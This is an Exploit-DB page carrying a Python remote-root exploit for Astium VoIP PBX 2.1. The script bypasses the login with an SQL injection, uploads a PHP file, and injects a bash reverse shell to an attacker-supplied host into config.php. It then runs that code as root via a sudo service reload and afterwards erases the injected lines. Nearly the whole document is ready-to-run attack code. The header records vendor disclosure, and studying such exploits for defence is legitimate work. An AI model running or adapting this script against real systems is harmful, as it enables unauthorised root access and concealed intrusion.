Astium VoIP PBX 2.1 build 25399 – Multiple Vulnerabilities/Remote Command Execution

  • 作者: xistence
    日期: 2013-01-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23831/
  • #!/usr/bin/python
    #+--------------------------------------------------------------------------------------------------------------------------------+
    # Exploit Title : Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit
    # Date: 01-02-2012
    # Author: xistence (xistence<[AT]>0x90.nl)
    # Software link : http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren/?lang=en
    # Vendor site : http://www.oneip.nl/
    # Version : v2.1 build 25399
    # Tested on : CentOS 5.x 32-bit
    #
    
    # Vulnerability : Astium is prone to multiple vulnerabilities. This exploit will use SQL injection to bypass authentication on the
    # login page and get access as an administrator. After that it will upload and execute a PHP script which will modify the
    # "/usr/local/astium/web/php/config.php" script with our reverse shell php code and run a 
    # "sudo /sbin/service astcfgd reload" (Apache user is allowed to restart this service through sudo).
    # The service reload will cause the added code in "/usr/local/astium/web/php/config.php" to be executed as root and thus resulting in
    # a reverse shell with root privileges.
    # Code in "/usr/local/astium/web/php/config.php" is also removed again, else the web interface will stop functioning!
    #
    # Vendor has been contacted several times since 8-22-2011(!) and promised to fix the issue, but until now hasn't resolved the issue.
    #
    #+--------------------------------------------------------------------------------------------------------------------------------+
    
    import urllib, urllib2, cookielib
    import sys
    import random
    import mimetools
    import mimetypes
    from cStringIO import StringIO
    import itertools
    
    print "[*] Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit - xistence - xistence[at]0x90[.]nl - 2013-01-02"
    if (len(sys.argv) != 4):
    print "[*] Usage: " + sys.argv[0] + " <RHOST> <LHOST> <LPORT>"
    exit(0)
     
    rhost = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    
    class MultiPartForm(object):
    """Accumulate the data to be used when posting a form."""
    
    def __init__(self):
    self.form_fields = []
    self.files = []
    self.boundary = mimetools.choose_boundary()
    return
    
    def get_content_type(self):
    return 'multipart/form-data; boundary=%s' % self.boundary
    
    def add_field(self, name, value):
    """Add a simple field to the form data."""
    self.form_fields.append((name, value))
    return
    
    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
    """Add a file to be uploaded."""
    body = fileHandle.read()
    if mimetype is None:
    mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
    self.files.append((fieldname, filename, mimetype, body))
    return
    
    def __str__(self):
    """Return a string representing the form data, including attached files."""
    # Build a list of lists, each containing "lines" of the
    # request.Each part is separated by a boundary string.
    # Once the list is built, return a string where each
    # line is separated by '\r\n'.
    parts = []
    part_boundary = '--' + self.boundary
    
    # Add the form fields
    parts.extend(
    [ part_boundary,
    'Content-Disposition: form-data; name="%s"' % name,
    '',
    value,
    ]
    for name, value in self.form_fields
    )
    
    # Add the files to upload
    parts.extend(
    [ part_boundary,
    'Content-Disposition: file; name="%s"; filename="%s"' % \
     (field_name, filename),
    'Content-Type: %s' % content_type,
    '',
    body,
    ]
    for field_name, filename, content_type, body in self.files
    )
    
    # Flatten the list and add closing boundary marker,
    # then return CR+LF separated data
    flattened = list(itertools.chain(*parts))
    flattened.append('--' + self.boundary + '--')
    flattened.append('')
    return '\r\n'.join(flattened)
    
    
    # PHP script to write our reverse shell to the /usr/local/astium/web/php/config.php script.
    phpScript='''<?php
    $f = fopen("/usr/local/astium/web/php/config.php", "a");
    fwrite($f, "\\n<?php system('/bin/bash -i >& /dev/tcp/%s/%s 0>&1'); ?>"); 
    fclose($f);
    system("sudo /sbin/service astcfgd reload");
    // Sleep 1 minute, so that we have enough time for the reload to trigger our reverse shell
    sleep(60);
    $lines = file('/usr/local/astium/web/php/config.php');
    // Delete last 2 lines (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit.
    array_pop($lines);
    array_pop($lines);
    $file = join('', $lines);
    $file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');
    fputs($file_handle, $file);
    fclose($file_handle);
    ?>''' % (lhost, lport)
    
    # Create a random file with 8 characters
    filename = ''
    for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
    filename+=i
    filename +=".php"
    
    # Create the form with simple fields
    form = MultiPartForm()
    form.add_field('__act', 'submit')
    
    # Add a "fake" file, our simple PHP script.
    form.add_file('importcompany', filename, fileHandle=StringIO(phpScript))
    
    # SQL Injection to bypass login
    SQLiAuthBypass = "system' OR 1='1"
    
    # Our Cookie Jar 
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    
    print "[*] Opening index.php to get Cookies"
    # Just open the url to grab the cookies and put them in the jar
    resp = opener.open("http://%s/en/content/index.php" %rhost)
    
    print "[*] Sending evil SQLi authentication bypass payload"
    # Set our post parameters and bypass the logon.php with our SQL Injection
    post_params = urllib.urlencode({'__act' : 'submit', 'user_name' : SQLiAuthBypass, 'pass_word' : 'pwned', 'submit' : 'Login'})
    resp = opener.open("http://%s/en/logon.php" %rhost, post_params)
    
    print "[*] Uploading PHP script " + filename + " to inject PHP code in '/usr/local/astium/web/php/config.php' and run a 'sudo /sbin/service astcfgd reload' to create a reverse shell"
    # Create our multi-part body + headers file upload request
    resp = urllib2.Request("http://%s/en/database/import.php" % rhost)
    body = str(form)
    resp.add_header('Content-type', form.get_content_type())
    resp.add_header('Content-length', len(body))
    resp.add_data(body)
    request = opener.open(resp).read()
    
    print "[*] Executing remote PHP script. Check your netcat shell. NOTE: this can take up to 1-2 minutes before it spawns a shell\n"
    # Simple GET request to execute the script on the remote server
    resp = opener.open("http://%s/upload/%s" % (rhost, filename))